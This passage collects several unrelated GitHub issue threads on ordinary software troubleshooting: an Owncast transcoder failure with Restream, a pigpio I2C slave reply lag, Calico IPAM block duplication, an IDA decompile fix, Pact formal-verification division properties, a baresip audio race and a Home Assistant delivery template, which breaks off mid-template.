ERRO[2020-07-09T01:46:34Z]/home/bradley/go/src/github.com/gabek/owncast/core/ffmpeg/transcoder.go:76 github.com/gabek/owncast/core/ffmpeg.(*Transcoder).Start() Transcoder error.  See transcoder.log for full output to debug.
PANI[2020-07-09T01:46:34Z]/home/bradley/go/src/github.com/gabek/owncast/core/ffmpeg/transcoder.go:77 github.com/gabek/owncast/core/ffmpeg.(*Transcoder).Start() exit status 1 cat /tmp/streampipe.ts | /snap/bin/ffmpeg -hide_banner -i pipe:  -map v:0 -c:v:0 copy -map a:0 -c:a:0 copy -map v:0 -c:v:1 libx264 -b:v:1 700k -map a:0 -c:a:1 copy -filter:v:1 "scale=600:-2" -sws_flags bilinear -preset superfast  -var_stream_map "v:0?,a:0? v:1?,a:1? " -f hls -hls_time 4 -hls_list_size 30 -hls_delete_threshold 10 -hls_flags delete_segments+program_date_time+temp_file -tune zerolatency -sc_threshold 0 -master_pl_name stream.m3u8 -strftime 1 -hls_segment_filename webroot/hls/%v/stream-%s.ts -max_muxing_queue_size 400 webroot/hls/%v/stream.m3u8 2> transcoder.log
panic: (*logrus.Entry) (0x1e23d00,0xc00055c070)

goroutine 36 [running]:
github.com/sirupsen/logrus.Entry.log(0xc000130000, 0xc000114f00, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, ...)
	/home/bradley/go/pkg/mod/github.com/sirupsen/logrus@v1.6.0/entry.go:259 +0x335
github.com/sirupsen/logrus.(*Entry).Log(0xc0000d0000, 0x0, 0xc0000e5e98, 0x1, 0x1)
	/home/bradley/go/pkg/mod/github.com/sirupsen/logrus@v1.6.0/entry.go:287 +0xeb
github.com/sirupsen/logrus.(*Entry).Logln(0xc0000d0000, 0xc000000000, 0xc0000e5f88, 0x2, 0x2)
	/home/bradley/go/pkg/mod/github.com/sirupsen/logrus@v1.6.0/entry.go:378 +0xd1
github.com/sirupsen/logrus.(*Logger).Logln(0xc000130000, 0x0, 0xc0000e5f88, 0x2, 0x2)
	/home/bradley/go/pkg/mod/github.com/sirupsen/logrus@v1.6.0/logger.go:240 +0x7d
github.com/sirupsen/logrus.(*Logger).Panicln(...)
	/home/bradley/go/pkg/mod/github.com/sirupsen/logrus@v1.6.0/logger.go:281
github.com/sirupsen/logrus.Panicln(...)
	/home/bradley/go/pkg/mod/github.com/sirupsen/logrus@v1.6.0/exported.go:219
github.com/gabek/owncast/core/ffmpeg.(*Transcoder).Start(0xc00007f920)
	/home/bradley/go/src/github.com/gabek/owncast/core/ffmpeg/transcoder.go:77 +0x2a6
created by github.com/gabek/owncast/core/rtmp.handlePublish
	/home/bradley/go/src/github.com/gabek/owncast/core/rtmp/rtmp.go:67 +0x27a
exit status 2
bradley@owncast-test:~/go/src/github.com/gabek/owncast$ cat transcoder.log
Error: unable to open display
[mpegts @ 0x55ed854e3680] PES packet size mismatch
Input #0, mpegts, from 'pipe:':
  Duration: N/A, start: 715.273000, bitrate: 386 kb/s
  Program 1
    Stream #0:0[0x100]: Audio: aac (LC) ([15][0][0][0] / 0x000F), 48000 Hz, stereo, fltp, 386 kb/s
Stream map 'v:0' matches no streams.
To ignore this, add a trailing '?' to the map.

Yeah, we're going from OBS -> Restream -> Facebook, YouTube

Was just able to reproduce it with that setup.  Digging into it...

Hah!  Previously I mentioned how I couldn't write as flv with this implementation of RTMP?  With Restream it only works if I write flv.  Restream works fine if I change muxer := ts.NewMuxer(f) -> muxer := flv.NewMuxer(f).
But if I point OBS directly to Owncast it won't work with flv at all.  I'll have to figure out what's different between the two.

Ok @graywolf336, here's what I've come up with!
It seems like passing along Restream video without transcoding is not an option.  I don't know why, it's just... different.  So I think that's why I'm seeing all the randomness.  It wasn't truly random.  It's playable when it's transcoded, and it fails when we pass along the video transparently.
If you get a chance, pull gek/rtmp-v2 and give it a go with Restream and OBS, but with your config not using videoPassthrough and see if it makes a difference.
Hopefully we're getting closer to a solution with Restream!  Thanks for dealing with all this back and forth troubleshooting.

@gabek Going to try it this morning. If I don't provide a video scaled width, what happens?

If you don’t provide a width and/or height it’ll just keep the source size.
Oh yeah!  We spoke previously about incorrect aspect ratios when it comes to resizing but I think I resolved that with the new transcoder as long as you only specify a width or height but not both. But really you shouldn’t need to specify either unless you actually have a reason to resize.

So far, so good! Currently going good with 35+ minutes of stream from restream.
One thing that i noticed, and we need to look into it in more detail, but it appears the web portal pulls lowest quality stream. Would be nice to have the ability to select which stream quality we could choose 🤔

If you change the order of the qualities to highest first in the config it should use that first and stick with it. My original thought was lowest first for quick startup time but yeah, sometimes it never moves on from the low quality. Sometimes it does. So maybe it’s safer just to keep high first and let players drop down to lower instead of the opposite.

Also, great news!  Finally Restream success!  haha

Yeah, the highest quality is first. 🤔  The second bitrate is the lowest one.
I sent you a link to my owncast instance, on Mastodon, in case you wanted to see how it is doing :)

So cool!  I popped the url to your high quality variant (/hls/0/stream.m3u8) into Quicktime directly and it's playing great.  I wonder what about the web player thinks 1 is a better choice than zero.  hmmm.

I think we can mark this as closed when this code is merged. Just will need to add a comment/note to the restream documentation that transcoding is required when using restream.
Do you want me to open an issue about the web player?

Sure!  Thanks!  Going to merge this into master.


Problems with bscxfer

I'm trying to use the Pi as a i2c slave. I can send data to the Pi and also return data to the host but I'm struggling with the return data being one message behind - I'll explain...
void ProcessRemote(void){
    if(Option.Remote==0)return;
    int i=0, count,s1,s2;
    xfer.control = (0x13<<16) | 0x305;
    xfer.txCnt = 0;
    s1=bscXfer(&xfer);
    if((count=xfer.rxCnt)){
       for(i=0;i<count;i++){
            RemoteRxBuf[RemoteRxBufHead]=xfer.rxBuf[i];
            RemoteRxBufHead = (RemoteRxBufHead + 1) % remote_buf_size;     // advance the head of the queue
            if(RemoteRxBufHead == RemoteRxBufTail) {                           // if the buffer has overflowed
                 RemoteRxBufTail = (RemoteRxBufTail + 1) % remote_buf_size; // throw away the oldest char
            }
        }
        xfer.txBuf[0]=count & 0xFF;
        xfer.txBuf[1]=(count >>8) & 0xFF;
        xfer.txCnt=2;
        s2=bscXfer(&xfer);
        PIntHC(s1);PIntHC(s2);MMPrintString("\r\n"); //print values of s1 and s2 to the console in hex
    }
}

ProcessRemote is called frequently in the main program. When rxCnt is positive it processes the message into a circular buffer. It then returns to the host the number of bytes received. This all works except that if the host sends messages of length 12,30,12,30 it receives 0,12,30,12. i.e. the return message is always one message behind. xfer is defined globally.
The status returns from the two calls (s1 and s2) are 0x12 and 0x20042
I'm obviously missing something but what? All ideas gratefully appreciated.

I am seeing a similar issue. I have a Pi 3 Model B using pigpio version V71 with python 3.7.3.
I'm just sending a couple bytes:
pi.bsc_i2c(I2C_ADDR, bytearray([1,2,3,4,5,6,7,8,9,0xA])
But what I am getting is offset by one:
0A 01 02 03 04 05 06 07 08 09
If I read more than 10 bytes, the rest past 0x9 are just 0x0A
0A 01 02 03 04 05 06 07 08 09 0A 0A 0A 0A
I would expect data past what was sent to be zeros but I don't see that. Also, the first byte seems to be related to whatever was the last byte in the buffer from the last send.
Anybody else seeing similar behavior?

If anyone believes there is an issue with the library please open an issue and provide a simple test case to reproduce.

I would use a Rpi 3B+ as I2C slave. I had the same issue explained here, what I want send back to master is always one byte behind of the requested.
I did a quick test to explain this:
I2C communication
Master: Arduino uno sending incremental byte every second. Starting from value 1

#include <Wire.h>

void setup()
{
   Wire.begin(); // join i2c bus as master
   Serial.begin(9600);  // start serial for output
   while(Serial.available() == 0) {
    }
   int mydata = Serial.read();
}

char strOut[17],strIn[17];

int x = 0;

void loop()
{
  while (x < 20){
     if (++x > 9999999) x=0;
     sprintf(strOut, "Sending %d \n", x);
     Serial.print(strOut);

     Wire.beginTransmission(24); // transmit to device #24 = 0x18
     Wire.write(x);           // sends 16 bytes
     Wire.endTransmission();    // stop transmitting

     Wire.requestFrom(24, 1);    // request 6 bytes from slave device #8

     while (Wire.available()) { // slave may send less than requested
        char c = Wire.read(); // receive a byte as character
        sprintf(strIn, "Received %d \n", c);
        Serial.print(strIn);
     }
     delay(1000);
  }

}

Slave:Rpi 3B+ running pigpio deamon at 1 us. Acting as I2C slave. When one byte read request arrived replay back with the same byte
import time
import pigpio

SDA=18
SCL=19

_slave_address = 0x18

def i2c(id, tick):
   global pi

   s, b, d = pi.bsc_i2c(_slave_address)
   global stop
   if b:
        data = int.from_bytes(d,"big")
        print(data)
        print(pi.bsc_i2c(_slave_address,[data]))
        stop = stop+1

if __name__ == '__main__':

    pi = pigpio.pi()

    stop = 0

    if not pi.connected:
        exit()

    # Add pull-ups in case external pull-ups haven't been added

    pi.set_pull_up_down(SDA, pigpio.PUD_UP)
    pi.set_pull_up_down(SCL, pigpio.PUD_UP)

    # Respond to BSC slave activity

    e = pi.event_callback(pigpio.EVENT_BSC, i2c)

    pi.bsc_i2c(_slave_address) # Configure BSC as I2C slave

    time.sleep(25)

    e.cancel()

    pi.bsc_i2c(0) # Disable BSC peripheral

    pi.stop()


Duplicating IPAM block but is not for the same CIDR

Expected Behavior
Hello everyone.
I am facing some issues more than 3 days about my Calico running on Kubernetes.
My CIRD on IPPOOL is /18 but when I need add some node into the cluster it came with /19 but I am never configured it.
Loading all IPAM blocks...
Found 10 IPAM blocks.

Scanning for AWS secondary IPs and IPs with unknown types...
Found 0 IPs with unknown allocation types.
Scanning for IPs that are allocated but not actually in use...
Found 0 IPs that are allocated in IPAM but not actually in use.
Scanning for IPs that are in use by a workload or node but not allocated in IPAM...
Found 0 in-use IPs that are not in active IP pools.
Found 472 in-use IPs that are in active IP pools but have no corresponding IPAM allocation.

Scanning for IPAM handles with no matching IPs...
Found 0 handles with no matching IPs (and 1887 handles with matches).
Scanning for IPs with missing handle...
Found 0 handles mentioned in blocks with no matching handle resource.
Check complete; found 472 problems.

Current Behavior
I can have the 8 nodes with 2048 IPs and at now its okay for me but I do not understand why my new nodes getting the same range IP but using different POOL from my Calico.
spec:
  allowedUses:
    - Workload
    - Tunnel
  blockSize: 21
  cidr: <IP_ADDRESS>/18
  ipipMode: Never
  natOutgoing: true
  nodeSelector: all()
  vxlanMode: Never

Possible Solution
I did not found yet
Steps to Reproduce (for bugs)

In my case just installed the Calico
Configure the IPPOOL as mentioned above

Context
I had tried removed the duplicated block directly into CRD and using calicoctl but it return to the same /19.
I tried format the node and re-join into the cluster but keep the same issue. Into the node I tried found the /19 and I saw it in

I do not know what I am doing wrong and the reason that why kubernetes now put the /19
In my podCIDR spec the /19 is not appear

And for the host s05 as example mentioned using /19 not communicate each pods, services and so on. In that case I cannot run pods due connectivity issues and inconsistence between /18 and /19
In my CRD ipamblocks.crd.projectcalico.org I can see either the duplication

Your Environment

Calico version 3.26.1
Orchestrator version (e.g. kubernetes, mesos, rkt): Kubernetes v1.23.6
Operating System and version: RedHat 8.5 and Ubuntu 22

This is odd. Could you copy/paste the complete output from the following commands (please no screenshots, as they are hard to search):

kubectl get ippools -o yaml
kubectl get blockaffinities -o yaml
kubectl get ipamblocks

If possible, it would also be good to see:

the entire calico/node logs on an affected node: kubectl logs -n calico-system calico-node-xxxx --tail=-1

Found 472 in-use IPs that are in active IP pools but have no corresponding IPAM allocation.

This error suggests that you have accidentally deleted IP address allocations from Calico's API that that were in-use by active pods in the cluster. You may need to fix this by identifying those pods and restarting them. This is a possible outcome from manually deleting IPAM blocks.

Hello @caseydavenport , I hope u doing good.
Thank you for your message and I will post here the logs as text. When you said "tried excluded manually" I did that but not worked. The /19 is deleted but when I restart the kubelet the /19 back in that case also, I tried formatted the machine but it return again using the /19 with the same ip /21 (the 21 is correct because is my CIRD) so, the logs below will show it to you to understand better. If you can please try to help me to understand what is happen because I tried everything and the /19 cannot be removed.
--> kubectl get ippools -o yaml
apiVersion: v1
items:
- apiVersion: crd.projectcalico.org/v1
  kind: IPPool
  metadata:
    annotations:
      projectcalico.org/metadata: '{"uid":"8893446f-ad41-473b-82fa-947fd3eff422","creationTimestamp":"2022-09-26T21:14:30Z"}'
    creationTimestamp: "2022-09-26T21:14:30Z"
    generation: 5
    name: default-ipv4-ippool
    resourceVersion: "559838878"
    uid: 708babd3-223b-4900-91db-5567479bd7a1
  spec:
    allowedUses:
    - Workload
    - Tunnel
    blockSize: 21
    cidr: <IP_ADDRESS>/18
    ipipMode: Never
    natOutgoing: true
    nodeSelector: all()
    vxlanMode: Never
kind: List
metadata:
  resourceVersion: ""
  selfLink: ""

--> kubectl get blockaffinities -o yaml
apiVersion: v1
items:
- apiVersion: crd.projectcalico.org/v1
  kind: BlockAffinity
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":null}'
    creationTimestamp: "2022-09-26T21:17:02Z"
    generation: 12
    name: dgx04-10-233-88-0-21
    resourceVersion: "57784985"
    uid: a4492a5f-726d-497a-8d1e-e5a3244f5a02
  spec:
    cidr: <IP_ADDRESS>/21
    deleted: "false"
    node: dgx04
    state: confirmed
- apiVersion: crd.projectcalico.org/v1
  kind: BlockAffinity
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":null}'
    creationTimestamp: "2022-09-26T21:16:30Z"
    generation: 2
    name: dgx08-10-233-80-0-21
    resourceVersion: "6202"
    uid: bd602b82-fa13-4a6a-aeeb-b01622e36380
  spec:
    cidr: <IP_ADDRESS>/21
    deleted: "false"
    node: dgx08
    state: confirmed
- apiVersion: crd.projectcalico.org/v1
  kind: BlockAffinity
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":null}'
    creationTimestamp: "2024-01-22T18:45:29Z"
    generation: 2
    name: gpu01-10-233-64-0-19
    resourceVersion: "559790350"
    uid: 247a8339-d4d3-4f44-9315-bea8a0c20a1c
  spec:
    cidr: <IP_ADDRESS>/19
    deleted: "false"
    node: gpu01
    state: confirmed
- apiVersion: crd.projectcalico.org/v1
  kind: BlockAffinity
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":null}'
    creationTimestamp: "2024-01-24T17:41:57Z"
    generation: 2
    name: l03-10-233-96-0-21
    resourceVersion: "562637174"
    uid: f8e43671-95d0-488a-98f0-aad9dca0faa8
  spec:
    cidr: <IP_ADDRESS>/21
    deleted: "false"
    node: l03
    state: confirmed
- apiVersion: crd.projectcalico.org/v1
  kind: BlockAffinity
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":null}'
    creationTimestamp: "2022-09-26T21:14:32Z"
    generation: 2
    name: management2-10-233-104-0-21
    resourceVersion: "3880"
    uid: 33c1142f-7202-4a06-a117-29ff5ff55e9b
  spec:
    cidr: <IP_ADDRESS>/21
    deleted: "false"
    node: management2
    state: confirmed
- apiVersion: crd.projectcalico.org/v1
  kind: BlockAffinity
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":null}'
    creationTimestamp: "2022-09-26T21:15:37Z"
    generation: 2
    name: s01-10-233-72-0-21
    resourceVersion: "5293"
    uid: b36cee33-5b20-46ef-88e9-b01b2458650d
  spec:
    cidr: <IP_ADDRESS>/21
    deleted: "false"
    node: s01
    state: confirmed
- apiVersion: crd.projectcalico.org/v1
  kind: BlockAffinity
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":null}'
    creationTimestamp: "2022-09-26T21:15:37Z"
    generation: 2
    name: s02-10-233-120-0-21
    resourceVersion: "5307"
    uid: 9b51d1d3-6b3f-4e63-b74c-e2562370082c
  spec:
    cidr: <IP_ADDRESS>/21
    deleted: "false"
    node: s02
    state: confirmed
- apiVersion: crd.projectcalico.org/v1
  kind: BlockAffinity
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":null}'
    creationTimestamp: "2023-05-05T17:54:52Z"
    generation: 2
    name: s03-10-233-128-0-21
    resourceVersion: "212456719"
    uid: 642afcac-c7a6-44df-ba90-2c7cde0bc446
  spec:
    cidr: <IP_ADDRESS>/21
    deleted: "false"
    node: s03
    state: confirmed
- apiVersion: crd.projectcalico.org/v1
  kind: BlockAffinity
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":null}'
    creationTimestamp: "2024-01-22T18:45:29Z"
    generation: 8
    name: s05-10-233-96-0-19
    resourceVersion: "562764275"
    uid: f0c9c1f0-bf85-4c08-9cec-e16080bcb613
  spec:
    cidr: <IP_ADDRESS>/19
    deleted: "false"
    node: s05
    state: confirmed
- apiVersion: crd.projectcalico.org/v1
  kind: BlockAffinity
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":null}'
    creationTimestamp: "2023-05-05T17:54:54Z"
    generation: 2
    name: s06-10-233-16-0-21
    resourceVersion: "212456770"
    uid: 5949674e-1fc8-426e-b404-b7e7f383aec4
  spec:
    cidr: <IP_ADDRESS>/21
    deleted: "false"
    node: s06
    state: confirmed
- apiVersion: crd.projectcalico.org/v1
  kind: BlockAffinity
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":null}'
    creationTimestamp: "2023-05-05T17:54:55Z"
    generation: 2
    name: s09-10-233-136-0-21
    resourceVersion: "212456807"
    uid: a3bb9f93-ac46-41b9-a1d1-6f4c1d54eb42
  spec:
    cidr: <IP_ADDRESS>/21
    deleted: "false"
    node: s09
    state: confirmed
- apiVersion: crd.projectcalico.org/v1
  kind: BlockAffinity
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":null}'
    creationTimestamp: "2023-05-05T17:54:53Z"
    generation: 2
    name: s10-10-232-88-0-21
    resourceVersion: "212456737"
    uid: ee0a3193-13a6-4b16-833b-741c6f5caaf9
  spec:
    cidr: <IP_ADDRESS>/21
    deleted: "false"
    node: s10
    state: confirmed
- apiVersion: crd.projectcalico.org/v1
  kind: BlockAffinity
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":null}'
    creationTimestamp: "2024-01-24T15:51:51Z"
    generation: 2
    name: s15-10-233-104-0-21
    resourceVersion: "562519448"
    uid: e28a4acd-9ac4-4e45-bc86-8171b64369f8
  spec:
    cidr: <IP_ADDRESS>/21
    deleted: "false"
    node: s15
    state: confirmed
- apiVersion: crd.projectcalico.org/v1
  kind: BlockAffinity
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":null}'
    creationTimestamp: "2022-09-26T21:14:34Z"
    generation: 2
    name: s17-10-233-64-0-21
    resourceVersion: "4318"
    uid: 9c17fd2f-3e96-45c0-8811-c19c798a67d3
  spec:
    cidr: <IP_ADDRESS>/21
    deleted: "false"
    node: s17
    state: confirmed
- apiVersion: crd.projectcalico.org/v1
  kind: BlockAffinity
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":null}'
    creationTimestamp: "2022-09-26T21:15:24Z"
    generation: 2
    name: s18-10-233-112-0-21
    resourceVersion: "5108"
    uid: 44b6f07a-3093-43c6-8ac1-426aae45cb10
  spec:
    cidr: <IP_ADDRESS>/21
    deleted: "false"
    node: s18
    state: confirmed
kind: List
metadata:
  resourceVersion: ""
  selfLink: ""

--> kubectl get ipamblocks
NAME              AGE
10-233-104-0-21   45h
10-233-112-0-21   486d
10-233-120-0-21   486d
10-233-128-0-21   265d
10-233-64-0-21    486d
10-233-72-0-21    486d
10-233-80-0-21    486d
10-233-88-0-21    486d
10-233-96-0-19    41h
10-233-96-0-21    43h

About the node affected logs from Calico I will attach the log because is so large.
calico-node-affected-node.log
I really appreciate you help

We just ran into the same issue on EKS running 1.28 and 3.27. We downgraded to 3.26 and it the problem was resolved. What we found was this Found XXX in-use IPs that are in active IP pools but have no corresponding IPAM allocation., we haven't deleted any IPAM blocks manually.

We just ran into the same issue on EKS running 1.28 and 3.27. We downgraded to 3.26 and it the problem was resolved

@phillipsj thanks for the report - when you say downgrading resolved this issue, do you mean that downgrading on a live cluster removed the problematic block? Or that fresh clusters installed with v3.26 don't show this behavior?
I believe I still need the diagnostics suggested from my previous comment in order to understand what might be happening here.

@phillipsj Probably unrelated, but incidentally CrossSubnet can be used in AWS if you disable Source Dest Check on the instances to allow pods to communicate unencapsulated.  Doing so offers the best network performance with the lowest overheads.

@antikilahdjs Unrelated to the issue (which is concerning - if you can get us the diags Casey requested we'll see if we can figure it out), I'm curious why you feel you need to change the block size frequently and to such large blocks?
Our expectation is that most users will rarely need to use a non-default block size, and even then that it will usually be a smaller block size (when very small IPPools are in use).  When the blocks become very large there may be scalability issues - indeed the maximum block size for IPv4 is /20 for this reason: see here: https://docs.tigera.io/calico-enterprise/3.17/networking/ipam/change-block-size#about-ip-pools .
A node can claim multiple blocks (and if needed borrow individual IPs from other node's blocks), so the block size isn't related to how many pods you can run.

I'm also unsure how a /19 block was ever created, since that's bigger than the maximum allowed size.
There's substantial validation code that prevents (among other things):

Changing the block size on an IPPool at all
Using a block size of /19 or bigger
Overlapping with other IPPools

It is possible for an administrator to bypass all this validation by directly interacting with the CRDs rather than using the projectcalico.org/v3 API group.  If you're using kubectl to make these changes, it's essential to only interact with the projectcalico.org/v3 resources and allow the Calico API server to validate and then update the CRDs itself.

@matthewdupre , thank you for sending the message. So, I won't change the block CIDR size because the maximum is /20, I need to increase my nodes from 512 to 1000 then I need to increase my service and the pod block needs to be a /12 instead /18 because using this block I can run 512 nodes with 2048 Ips.
I dont have 100% sure but someone with admin access changed the IPPool from /18 to /19 then new machines included in the cluster got a duplicated IPs with different blocksize as I sent. In that case I am working to move the whole cluster.
Meanwhile I am not including any nodes in the cluster and this process has been denied during the migration.

@caseydavenport @matthewdupre yes we just downgraded the live cluster. It was originally a live cluster upgrade. Something changed or got set that seemed to have caused this issue.

Nodes can have multiple blocks and can also borrow IPs from other blocks, so there's no need to change the block size to run more nodes or pods.
For IPAM configuration (IPPools especially) please make sure to either:

Only use calicoctl
Use kubectl but always specify ippools.projectcalico.org instead of just ippools which may interact with the CRD and make invalid changes like has happened here.  You'll need to be running the Calico apiserver to do this.

Any updates on this one?

@antikilahdjs @phillipsj I am closing this issue as stale, but if you have additional information that could help further investigation, feel free to reopen it.


IDA: ignore decompilation failures

This commit fixes issues found in ida/compat.py in acquire_pseudocode_vdui. If a function cannot be decompiled, IDA will complain about a null reference in method vdui_t_switch_to, preventing the plugin to complete his tasks.
NOTE: When the error occurs, ida_hexrays.decompile(...) does not raise an exception. It only returns None, that is why we check the return code for all of them and return early on None.

As the CI was failing, I tried to debug on my side if it was due to my changes. As I don't have binja to test, I removed all the tests related to binja on my fork and all tests passed (https://github.com/kamino/libbs/pull/1). I took the opportunity to re-write my commit to explicitly check the return value of ida_hexrays.decompile against None and to uniformize ida_hexrays.decompile vs idaapi.decompile in a few more places.

Yeah it was strange @kamino. I noticed the CI failing, but I could not obviously see why...

Alright, I can't figure out why this is failing... let's see if merging to main somehow fixes it?

Merging it fixed it, which means it's likely a permission error on the CI


Formal Verification: Property checks involving /

Property checks involving / seems to fail:
(module test GOVERNANCE
  (defcap GOVERNANCE() true)

  (defun get-refund(balance:decimal stakers:integer)
    @model [
      (property (> (/ balance stakers) 0.0))
    ]
    (enforce (> balance 0.0) "balance must be non-negative")
    (enforce (> stakers 0) "stakers must be non-negative")
    (let ((refund (/ balance stakers)))
      (enforce (> refund 0.0) "refund must be non-negative")
      refund))
)

(verify 'test)

Fails with the error:
test.repl:6:16:OutputFailure: Invalid model failure:
  Program trace:
    entering function test.get-refund with arguments
      balance = 0.0
      stakers = 0

      failed to satisfy assertion: (> balance 0.0)

Transaction aborted.
Load successful

Additional info, inlining the check doesn't resolve the issue:
(module test GOVERNANCE
  (defcap GOVERNANCE() true)

  (defun get-refund(balance:decimal stakers:integer)
    @model [
      (property (> (/ balance stakers) 0.0))
    ]
    (enforce (> balance 0.0) "balance must be non-negative")
    (enforce (> stakers 0) "stakers must be non-negative")
    (/ balance stakers))
)

(verify 'test)

Pure properties that throw an error are handled first by the FV module and is the reason the verification fails  (see comment here).
You can get the correct behaviour using the result reference , i.e.:
  (defcap GOVERNANCE() true)

  (defun get-refund: decimal (balance:decimal stakers:integer)
    @model [
      (property (> result 0.0))
    ]
    (enforce (> balance 0.0) "balance must be non-negative")
    (enforce (> stakers 0) "stakers must be non-negative")
    (let ((refund (/ balance stakers)))
          (enforce (> refund 0.0) "refund must be non-negative")
          refund))
)

Unfortunately, you have to annotate the result type of get-refund, otherwise you will receive the following error:
 could not parse (> result 0.0): in (> result 0.0), type error: * vs decimal ...

Also note, if you remove the (enforce (> refund 0.0) "refund must be non-negative"), verification will fail. The reason is limited precision of decimals.

Thanks! The result reference is indeed fixing it. However I do believe many devs would expect that dividing the input values would be working as well. Are we able to throw an warning or more clear error when this is happening?

Yes, we will throw a warning if this happens, see #1113 but I agree, we should document this in more depth.

I don't think result is the final answer here. @rsoeldner talked more about inferring more of the intended model from the user's supplied enforce statements, so that the model as given above matches the expectations stated in the code.


race condition in audio setup

I think I came accross a race condition in the audio setup procedure. I wanted to route audio (tones and the call itself) via jack (with reproducible jack client names). When calling an auto-answering peer I got the following.
call: connecting to '"echo"<EMAIL_ADDRESS>call: SIP Progress: 100 trying -- your call is important to us (/)
call: SIP Progress: 183 Session Progress (application/sdp)
audio: Set audio encoder: PCMA 8000Hz 1ch
audio: enable ausrc resampler: 8000Hz/1ch <-- 48000Hz/1ch
jack: new ausrc JACK client in00001
jack: engine sample rate: 48000 max_frames=1024
jack: source sampc=1024
audio: Set audio decoder: PCMA 8000Hz 1ch
audio: enable auplay resampler: 8000Hz/1ch --> 48000Hz/1ch
jack: play 48000Hz,1ch
jack: new auplay JACK client out00001
jack: engine sample rate: 48000 max_frames=1024
jack: sampc=1024
audio tx pipeline:   jack ---> vumeter ---> PCMA
audio rx pipeline:   jack <--- vumeter <--- PCMA
xyz2@abc2: Call in-progress: sip:xyz@abc
EVENT UA_EVENT_CALL_PROGRESS
call: SIP Progress: 180 Ringing (/)
jack: source destroy in00001
jack: destroy out00001
EVENT UA_EVENT_CALL_RINGING
jack: play 48000Hz,1ch
jack: new auplay JACK client out00001
jack: engine sample rate: 48000 max_frames=1024
jack: sampc=1024
main: long async blocking: 128>100 ms (h=0x7f50e12b04f9 arg=0x1ae5be0)
jack: play 48000Hz,1ch
jack: new auplay JACK client out00001
jack: unique name `out00001-01' assigned
jack: engine sample rate: 48000 max_frames=1024
jack: sampc=1024
jack: new ausrc JACK client in00001
jack: engine sample rate: 48000 max_frames=1024
jack: source sampc=1024
xyz2@abc2: Call established: sip:xyz@abc
EVENT UA_EVENT_CALL_ESTABLISHED
jack: destroy out00001
main: long async blocking: 125>100 ms (h=0x7f50e12b04f9 arg=0x1ae5be0)
stream: audio: SSRC changed 5f03371f -> ae5e91bc (160 bytes from a.b.c.d:20436)
call: terminate call 'f15a04387af46cc8' with sip:xyz@abc   ]  [============    ]
jack: source destroy in00001
jack: destroy out00001-01
EVENT UA_EVENT_CALL_CLOSED
sip:xyz2@abc2: Call with sip:xyz@abc terminated (duration: 3 secs)

The audio player for the tones is only freed as soon as the CALL_ESTABLISHED event is received. However, before this happens the sipsess_answer_handler (via update_media) already requests the audio interface a second time. In my case this results in a renamed jack-client out00001-01 instead of the expected name out00001.

which SIP endpoint are you talking to ? from the log it looks like you are receiving
both an 183 and 180 (a SIP trace would be good).
if baresip receives a 183 with SDP it will start the audio subsystem, so that it can
play early media from the remote peer. (in this case it will not play the local
ringback tone.)
/Alfred

It was the sipgate.de echo test server<EMAIL_ADDRESS>However, as of today, I cannot reproduce the issue of receiving both 180 and 183. Apparently, the server config has changed. Anyhow, perhaps it would be a good idea to avoid reallocating audio if 180 is received after 183?

the 18x SIP responses are provisional, that means you might receive many of them
in between sending INVITE and receiving 200 OK.
for example, you can receive 180 first and then 183. or vice versa.
however, there might be another bug in menu.c:
	case UA_EVENT_CALL_RINGING:
		/* stop any ringtones */
		menu.play = mem_deref(menu.play);

		(void)play_file(&menu.play, player, "ringback.wav", -1);
		break;

the case UA_EVENT_CALL_PROGRESS is not handled, and it should
probably stop any ringtones as well.
in the case of your SIPGATE server, it might be that 183 then 180 is a server bug.
but in some cases it might be intentional and it should switch from playing remote media
to playing a local ringtone.

I will close this issue for now, please re-open if it happens again.


Adding UPS/FedEx to Deliveries Summary sensor

In another issue (now closed) I mentioned that I was going to try to add the UPS and Fedex sensors to the mail deliveries message template and I just wanted to leave this here in case you wanted to use it.  It's working well for me.  (I also integrated my mailbox sensor to the card so that the delivery sentence is replaced by a template that shows when the mail was delivered, but that's out of scope for this.  I'd be happy to share it though if anyone can use it!)
# Mail and Package Sensors
- platform: template
  sensors:
    mail_deliveries_message:
      friendly_name: "Deliveries Summary"
      entity_id:
        - sensor.mail_usps_mail
        - sensor.mail_usps_delivering
        - sensor.mail_fedex_delivering
        - sensor.mail_ups_delivering
      value_template: >
        {# Deliveries Sentence #}
          {% macro deliveries_sentence() -%}
                {%- if states("sensor.mail_usps_mail")|int == 0 -%}
                  No
                {%- else -%}
                  {{states("sensor.mail_usps_mail")|int}}
                {%- endif -%}
              {{' '}}
                {%- if states("sensor.mail_usps_mail")|int <= 1 -%}
                  mail piece
                {%- else -%}
                  pieces of mail
                {%- endif -%}
              {{' '}}will be delivered.{{' '}}
                {%- if states("sensor.mail_usps_delivering")|int == 0 -%}
                  No
                {%- else -%}
                  {{states("sensor.mail_usps_delivering")|int}}
                {%- endif -%}
              {{' '}}
                {%- if states("sensor.mail_usps_delivering")|int == 1 -%}
                  USPS package is
                {%- else -%}
                  USPS packages are
                {%- endif -%}
              {{' '}}in transit.{{' '}}
                {%- if states("sensor.mail_fedex_delivering")|int == 0 -%}
                  No
                {%- else -%}
                  {{states("sensor.mail_fedex_delivering")|int}}
                {%- endif -%}
              {{' '}}
                {%- if states("sensor.mail_fedex_delivering")|int == 1 -%}
                  FedEx package is
                {%- else -%}
                  Fedex packages are
                {%- endif -%}
              {{' '}}in transit.{{' '}}
              {%- if states("sensor.mail_ups_delivering")|int == 0 -%}
                  No
                {%- else -%}
